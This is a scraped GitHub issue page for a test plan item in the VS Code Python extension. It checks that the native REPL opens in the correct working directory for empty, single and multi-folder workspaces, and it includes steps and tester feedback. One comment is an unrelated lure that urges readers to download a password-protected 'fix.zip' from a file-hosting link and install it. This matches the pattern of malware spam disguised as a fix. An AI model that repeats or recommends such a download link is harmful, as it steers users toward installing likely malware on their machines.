Skip to content

TPI: Correct Directory for Native REPL #23994

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Closed
3 tasks done
anthonykim1 opened this issue Aug 26, 2024 · 2 comments
Closed
3 tasks done

TPI: Correct Directory for Native REPL #23994

anthonykim1 opened this issue Aug 26, 2024 · 2 comments

Comments

@anthonykim1
Copy link

anthonykim1 commented Aug 26, 2024

Refs: #23821

Complexity: 3

Create Issue


Thank you in advance for testing to make sure correct directory is set for native REPL.
Please let me know if you have any questions, problems, comments.


Setup:

  1. Install latest pre-release version of Python extension

  2. Please make sure you have checked setting to send Python commands to native REPL: Screenshot 2024-08-26 at 1 34 43 PM

  3. Prepare 3 different type of workspace scenario, follow the steps below for each case:

    1. No workspace
    2. Single workspace
    3. Multi-workspace

Steps:

  1. Open command palette via (cmd/ctrl + shift + p) and search for launching native REPL Screenshot 2024-08-26 at 1 37 19 PM
  2. Observe native REPL open as editor and type
import os
os.getcwd()
  1. If you are at empty workspace scenario the output should be /
  2. If you are at single workspace scenario, it should be root of that workspace
  3. If you are at multi workspace scenario, you should be observing quick select and see list of your workspace directories listed as an option
@anthonykim1 anthonykim1 added this to the August 2024 milestone Aug 26, 2024
@deverchettychandrashekar

to fix your trouble try download this fix, i see it in another issue,
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

@karthiknadig karthiknadig changed the title Test Plan Item) Correct Directory for Native REPL TPI: Correct Directory for Native REPL Aug 26, 2024
@justschen
Copy link

overall worked well, I liked the quick pick selector which had details on repo name + path. great job 😃

@justschen justschen removed their assignment Aug 27, 2024
@aiday-mar
Copy link

aiday-mar commented Aug 27, 2024

It works as expected for me for the single and multi folder workspace. I am not sure if I am testing the empty workspace case correctly however. I closed all folders in my workspace and I trigger the command, this results in the error command 'python.startNativeREPL' not found ? Is this expected?

Screen.Recording.2024-08-27.at.15.45.13.mov

Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Projects
None yet
Development

No branches or pull requests

8 participants
@mjbvz @justschen @aiday-mar @anthonykim1 @deverchettychandrashekar and others